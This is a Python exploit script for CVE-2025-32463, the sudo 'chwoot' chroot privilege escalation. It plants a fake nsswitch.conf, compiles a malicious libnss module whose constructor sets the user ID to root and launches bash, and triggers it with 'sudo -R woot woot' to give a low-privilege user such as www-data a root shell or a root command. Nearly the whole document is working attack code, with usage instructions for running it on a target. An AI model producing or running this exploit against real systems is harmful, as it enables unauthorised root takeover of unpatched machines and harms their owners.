#!/usr/bin/env python3 """ CVE-2025-32463 — sudo "chwoot" chroot local privilege escalation (www-data -> root). sudo 1.9.14-1.9.17 with the --chroot (-R) option chroot()s into the user-supplied directory while the sudoers policy is still being evaluated, i.e. BEFORE the authorization decision. After the chroot, sudo's NSS lookups read /etc/nsswitch.conf from inside the attacker's chroot, and glibc turns a bogus source name into dlopen("libnss_.so.2") — executed as root. Planting a fake nsswitch.conf plus a malicious libnss module whose ELF constructor does setreuid(0) + exec gives a root shell. It needs NO sudoers entry for the caller, so www-data (not in sudoers) can use it. Run this ON the target as the low-priv user. Fixed in sudo 1.9.17p1 (the chroot change reverted). Requires gcc on the target (to build the tiny libnss module). Usage: python3 privesc.py # -> interactive root shell python3 privesc.py -c 'id' # run a single command as root """ import argparse import os import subprocess import sys import tempfile LIB_C = r''' #include #include __attribute__((constructor)) void woot(void) { setreuid(0, 0); setregid(0, 0); chdir("/"); execl("/bin/bash", "/bin/bash", "-p", NULL); } ''' # same, but runs a single command as root then exits (for -c) LIB_C_CMD = r''' #include #include __attribute__((constructor)) void woot(void) { setreuid(0, 0); setregid(0, 0); chdir("/"); execl("/bin/bash", "/bin/bash", "-p", "-c", "%s", NULL); } ''' def build_stage(src): stage = tempfile.mkdtemp(prefix="sudowoot.") os.makedirs(os.path.join(stage, "woot", "etc"), exist_ok=True) os.makedirs(os.path.join(stage, "libnss_"), exist_ok=True) with open(os.path.join(stage, "woot", "etc", "nsswitch.conf"), "w") as f: f.write("passwd: /woot1337\n") # copy /etc/group so early NSS/group lookups don't fail before the payload fires try: with open("/etc/group") as g, open(os.path.join(stage, "woot", "etc", "group"), "w") as o: o.write(g.read()) except OSError: pass csrc = os.path.join(stage, "woot1337.c") with open(csrc, "w") as f: f.write(src) lib = os.path.join(stage, "libnss_", "woot1337.so.2") r = subprocess.run(["gcc", "-shared", "-fPIC", "-Wl,-init,woot", "-o", lib, csrc], stderr=subprocess.PIPE) if r.returncode != 0: sys.exit("[-] gcc failed (is gcc installed?):\n" + r.stderr.decode("utf-8", "replace")) return stage def main(): ap = argparse.ArgumentParser(description="sudo chwoot CVE-2025-32463 privesc") ap.add_argument("-c", "--cmd", help="run a single command as root instead of a shell") args = ap.parse_args() if not (os.path.exists("/usr/bin/sudo") or os.path.exists("/bin/sudo")): sys.exit("[-] sudo not found") src = LIB_C_CMD % args.cmd.replace('\\', '\\\\').replace('"', '\\"') if args.cmd else LIB_C print("[*] CVE-2025-32463: sudo -R loads nsswitch.conf from the chroot -> dlopen libnss as root") stage = build_stage(src) print("[*] staged at %s — invoking sudo -R woot woot" % stage) sys.stdout.flush() # -R ; both are literally "woot". The malicious libnss constructor fires as # root during sudo's NSS lookup, before the sudoers check. os.chdir(stage) os.execvp("sudo", ["sudo", "-R", "woot", "woot"]) if __name__ == "__main__": main()